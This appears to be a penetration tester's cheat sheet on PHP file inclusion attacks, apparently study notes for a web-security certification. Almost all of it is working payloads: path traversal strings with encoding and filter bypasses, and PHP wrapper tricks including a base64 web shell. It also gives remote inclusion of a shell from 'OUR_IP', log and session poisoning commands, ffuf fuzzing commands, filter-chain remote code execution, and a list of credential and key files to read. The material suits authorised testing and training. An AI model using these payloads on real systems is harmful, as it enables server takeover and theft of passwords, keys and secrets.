File Inclusion (LFI / RFI)
LFI/RFI from the CWES path: path traversal + filter bypasses, PHP filter/wrappers for source disclosure and RCE, RFI, log/session/SSH/SMTP poisoning, /proc/self/fd, LFI fuzzing workflow, and high-value target files. Every payload separated.
Basic traversal
Direct path:
/etc/passwd
Relative traversal:
../../../../etc/passwd
Non-recursive filter bypass (strips ../ once):
....//....//....//etc/passwd
URL-encoded traversal:
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Double URL-encoded:
%252e%252e%252f%252e%252e%252fetc%252fpasswd
Approved-path prefix bypass:
./languages/../../../../etc/passwd
Null byte (PHP < 5.5):
/etc/passwd%00
PHP filter - read source
Read a PHP file as base64:
php://filter/read=convert.base64-encode/resource=config
Chain filters (uppercase then base64):
php://filter/read=string.toupper|convert.base64-encode/resource=index.php
Decode the output:
echo "BASE64OUTPUT" | base64 -d
PHP wrappers - code execution
data:// (requires allow_url_include), decoded = <?php system($_GET["cmd"]); ?>:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
php://input (PHP code goes in the POST body):
php://input
expect:// (if the extension is installed):
expect://id
RFI (allow_url_include = On)
Include a shell from your HTTP server:
http://OUR_IP/shell.php
From an SMB share (Windows target):
\\OUR_IP\share\shell.php
Log poisoning
Apache/Nginx access log - inject via User-Agent:
curl -s "http://IP/index.php" -A '<?php system($_GET["cmd"]); ?>'
Then include the log to trigger:
http://IP/index.php?language=/var/log/apache2/access.log&cmd=id
SSH auth.log - connect with PHP as the username:
ssh '<?php system($_GET["cmd"]); ?>'@TARGET
Then include it:
http://IP/index.php?language=/var/log/auth.log&cmd=id
Session file poisoning - inject via a parameter:
http://IP/index.php?language=<?php system($_GET['cmd']); ?>
Then include your session file:
http://IP/index.php?language=/var/lib/php/sessions/sess_PHPSESSID&cmd=id
/proc/self/fd
Enumerate open file descriptors:
for fd in $(seq 0 20); do curl -s "http://TARGET/page.php?file=/proc/self/fd/$fd" | grep -v "No such"; done
LFI fuzzing workflow
Find the vulnerable parameter:
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://IP:PORT/index.php?FUZZ=value' -fs 2287
Fuzz LFI bypass payloads:
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://IP/index.php?language=FUZZ' -fs 2287
Path traversal (standalone)
Path traversal reads arbitrary files directly via a file parameter — without needing PHP wrappers or log poisoning.
Basic test
?file=../../../../etc/passwd
?filename=../../../etc/shadow
?path=....//....//....//etc/passwd
Encoding bypasses
URL encoded:
..%2f..%2f..%2fetc%2fpasswd
Double URL encoded:
..%252f..%252f..%252fetc%252fpasswd
Unicode / overlong UTF-8:
..%c0%af..%c0%afetc%c0%afpasswd
..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd
Null byte (PHP < 5.5, truncates .php extension appended by app):
../../../../etc/passwd%00
../../../../etc/passwd%00.jpg
Strip filter bypass (../ removed once)
....//....//....//etc/passwd
..././..././..././etc/passwd
Absolute path (if the app just passes to fopen/file_get_contents)
?file=/etc/passwd
?file=C:\Windows\System32\drivers\etc\hosts
Burp Intruder fuzzing
Use the Fuzzing - path traversal payload list from seclists:
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
Set the file parameter as the injection point in Intruder. Filter by response length differences.
High-value target files
Linux:
/etc/passwd /etc/shadow /proc/self/environ /root/.ssh/id_rsa
/var/log/apache2/access.log /var/log/auth.log /var/www/html/.env /etc/php.ini
Windows:
C:\Windows\System32\drivers\etc\hosts C:\inetpub\wwwroot\web.config
C:\Users\<user>\.ssh\id_rsa C:\xampp\apache\conf\httpd.conf
LFI → RCE via PHP Filter Chains
Achieve RCE through LFI without log poisoning or allow_url_include=On — chain PHP filter conversions to inject a PHP stub into the file stream at include time.
The chain uses convert.iconv and convert.base64-decode filters in sequence to reconstruct arbitrary PHP code from scratch, even with no writeable path.
Quick RCE via php_filter_chain_generator
git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
Use the generated php://filter/... string as the LFI payload:
GET /index.php?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv...../resource=/etc/passwd&cmd=id
Small chain (minimal stub)
python3 php_filter_chain_generator.py --chain '<?php system($_GET[0]);?>'
Then trigger:
?file=<GENERATED_CHAIN>&0=id
Requirements
php://filteravailable (default — no ini change needed)- App passes user input to
include(),require(), orfile_get_contents() allow_url_includeis NOT required- Works on PHP 7.x and 8.x